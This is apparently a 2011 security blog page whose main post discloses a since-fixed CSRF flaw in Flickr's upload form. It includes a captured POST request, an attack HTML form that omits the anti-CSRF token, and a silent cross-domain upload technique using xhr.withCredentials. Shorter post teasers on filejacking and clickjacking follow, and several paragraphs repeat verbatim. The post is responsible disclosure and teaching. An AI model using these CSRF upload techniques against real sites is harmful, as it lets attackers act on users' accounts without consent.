Wednesday, May 18, 2011
Invisible arbitrary CSRF file upload in Flickr.com
Summary
Basic upload form in Flickr.com was vulnerable to CSRF. Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.Described vulnerability has been quickly fixed by Flickr.com team.
The exploit is an example of using my HTML5 arbitrary file upload method.
Demo
[フレーム]Vulnerability description
Flickr.com basic upload form displayed on http://www.flickr.com/photos/upload/basic/ submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form). Basic File Upload Form
This request looks like this:POST /photos/upload/transfer/ HTTP/1.1 Host: up.flickr.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://www.flickr.com/photos/upload/basic/ Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599 Content-Length: 29437 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="done" 1 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="complex_perms" 0 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="magic_cookie" 8b84f6a5d988b5f3a1be31c841042f41 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="file1"; filename="0011.jpg" Content-Type: image/jpeg [binary-data-here] -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="tags" -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="is_public_0" 1 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="safety_level" 0 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="content_type" 0 -----------------------------410405671879807276394827599 Content-Disposition: form-data; name="Submit" UPLOAD -----------------------------410405671879807276394827599--
On line 11 there are some Flickr.com cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload.
To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack.
To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack.
Attack
Malicious page with this HTML code:<form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post"> <input type=hidden name=is_public_0 value=1> <input type=file name=file1> <input type="submit"> <!-- no magic_cookie here, still works --> </form>
was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).
Above technique required user to manually choose the file from his HDD. However, using my HTML5 arbitrary file upload method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.
As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).
Exemplary exploit code is here.
18.05.2011 - vendor responded, fix released
Above technique required user to manually choose the file from his HDD. However, using my HTML5 arbitrary file upload method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.
As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).
Exemplary exploit code is here.
Fix
As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request.Timeline
17.05.2011 - vulnerability discovered
18.05.2011 - vendor notified18.05.2011 - vendor responded, fix released
Tuesday, May 10, 2011
Cross domain arbitrary file upload Redux
Remember how it was possible to upload files with arbitrary names & contents cross domain? The method had one, but crucial limitation - it did not include any credentials. In other words, the POST message would be sent to server without any cookies / HTTP auth, so it would most likely be discarded by the attacked application. You could upload a file (precisely, that's a CSRF File Upload), but, in most cases, the receiving application would drop it. Until now :)
I can haz cookies!
I still don't know how did I miss this, but it's just a one-line change:xhr.withCredentials = "true";That's it. With this flag set:
- CORS simple requests will include cookies / HTTP auth
- CORS preflighted requests will ask for permission to include them
"Take those cookies to your grandma", said The Browser
- Victim logs in to victim.whatever.com website
- He receives a session cookie for future requests
- In the same browser session (e.g. 2nd tab) he visits attacker.reallybad.ly website
- Javascript code in attacker silently prepares CORS file upload request with XMLHttpRequest object to victim domain, and asks to include credentials (xhr.withCredentials)
"Browser, I really need you to send this tiny little harmless POST to victim"
- Browser treats this as a simple CORS request, so it attaches the cookie for victim domain to it and sends it.
"Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"
- victim app receives the POST file upload with the cookie, so it processes the upload and responds.
"What's this weird Origin header pointing to attacker.reallybad.ly? It must be the new kid in town, but who am I to know?"
- Browser looks at the response and, not having appropriate CORS response headers, discards the response.
"Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"
Friday, April 29, 2011
How to upload arbitrary file contents cross-domain
Update: Since publishing details of this technique it has been used to exploit CRSFable file upload forms on Facebook , Flickr, Imgur, minus.com, Tumblr.com and others. It seems that many file upload forms lack anti CSRF tokens.
HTML5, together with its sister specifications (XMLHTTPRequest level 2, File API etc.) has a really interesting property when it comes to security. Websites that are coded securely get new tools allowing them to be even more secure. Yet poorly coded websites might be prone to new flavours of attack. It makes good even better, and bad even worse.
The best example of this would be the Cross Origin Resource Sharing (CORS) specification commonly known as Cross Domain AJAX. Back in the days, AJAX request could not be sent cross domain - now, in all current browsers, they can. Does it affect security? Sure it does - even Facebook got hacked with it. While the specification was designed with security in mind, fully opt-in, introducing new headers and preflight mode, there are sites in the Internet that suddenly got vulnerable once surfers upgraded their browsers.
Continuing the fun with file upload issues in current browers, today I'd like to show you how to upload a file:
HTML5, together with its sister specifications (XMLHTTPRequest level 2, File API etc.) has a really interesting property when it comes to security. Websites that are coded securely get new tools allowing them to be even more secure. Yet poorly coded websites might be prone to new flavours of attack. It makes good even better, and bad even worse.
The best example of this would be the Cross Origin Resource Sharing (CORS) specification commonly known as Cross Domain AJAX. Back in the days, AJAX request could not be sent cross domain - now, in all current browsers, they can. Does it affect security? Sure it does - even Facebook got hacked with it. While the specification was designed with security in mind, fully opt-in, introducing new headers and preflight mode, there are sites in the Internet that suddenly got vulnerable once surfers upgraded their browsers.
Continuing the fun with file upload issues in current browers, today I'd like to show you how to upload a file:
- from victim's browser
- with arbitrary filename
- with arbitrary content
- without user interaction
- .. to another domain.
Thursday, April 14, 2011
Filejacking: How to make a file server from your browser (with HTML5 of course)
Back in the days of browser wars, there was a joke: Internet Explorer is the only web browser that makes Internet browse your computer. Through various security flaws, IE was exploitable and allowed for remote code execution that could e.g. steal your sensitive files.
But now the times are different. It's not that easy to exploit current browsers, they get patched (relatively) quickly. Attackers cannot easily access your files using browsers vulnerabilities, so they turn to the weakest link - users. In this post we'll try to explore what current browsers can do with your files.
But now the times are different. It's not that easy to exploit current browsers, they get patched (relatively) quickly. Attackers cannot easily access your files using browsers vulnerabilities, so they turn to the weakest link - users. In this post we'll try to explore what current browsers can do with your files.
Thursday, March 24, 2011
How to Beathis! challenge - the solutions
Beatthis! cryptoanalysis challenge turned out to be pretty popular. Some of you have been asking me for additional tips, some of you shared the happiness of completing the levels, most of you probably cursed a lot ;) I'd like to thank all the participants for their time, I hope you liked this hackme. But of course my congratulations go to all of you who solved all levels:
- mrrr (@gynvael)
- hellman (@hellman1908)
- @internot_
- carstein (@m_melewski)
- wrrr (Kuba - jakubk at mp dot pl)
- dxp (@dxp2532)
You're all my personal heroes! Now it's time to reveal all the secrets - one by one. If you still want to finish the challenge by yourself, don't read up. There are spoilers ahead!
Free gifts for everyone!!111
But before that, let me present a few cryptographic tools created while preparing this challenge, together with cipher/plaintexts for all levels. It's a gift for you for trying the challenge. Download it, test it, do what you want with it. Enjoy! Now, let's begin with...Sunday, March 20, 2011
A simple cryptoanalysis challenge
If you like solving puzzles, if you're into breaking things and if you at least know how to read this thing aloud:
I think you will appreciate my newest, 6 level challenge - it's simpler than you think, and the levels get increasingly harder, so there's something for everyone.
Without further ado, I present to you:
I think you will appreciate my newest, 6 level challenge - it's simpler than you think, and the levels get increasingly harder, so there's something for everyone.
Without further ado, I present to you:
Please share the link!
Thursday, March 17, 2011
Who's behind Facebook clickjacking scams?
Clickjacking is a pretty advanced technique even for security-minded programmers. I guess most of pentesters would have a hard time quickly preparing a robust demonstration of a clickjacking attack. This requires some advanced CSS/Javascript and HTML knowledge. One needs to know how to hide a content or how to make it follow the mouse and account for all browsers quirks. Clearly the guys behind Facebook clickjacking *.info scams have some exceptional skills. Or do they?
Recently I got an email from one of my readers - he analyzed the actual code used in an attack, did some googling around for snippets of it and he found the person that is (supposedly, we have no proof yet) the code author of recent attacks. Meet bhav - and tremble before his mighty coder skills!
Recently I got an email from one of my readers - he analyzed the actual code used in an attack, did some googling around for snippets of it and he found the person that is (supposedly, we have no proof yet) the code author of recent attacks. Meet bhav - and tremble before his mighty coder skills!
Subscribe to:
Comments (Atom)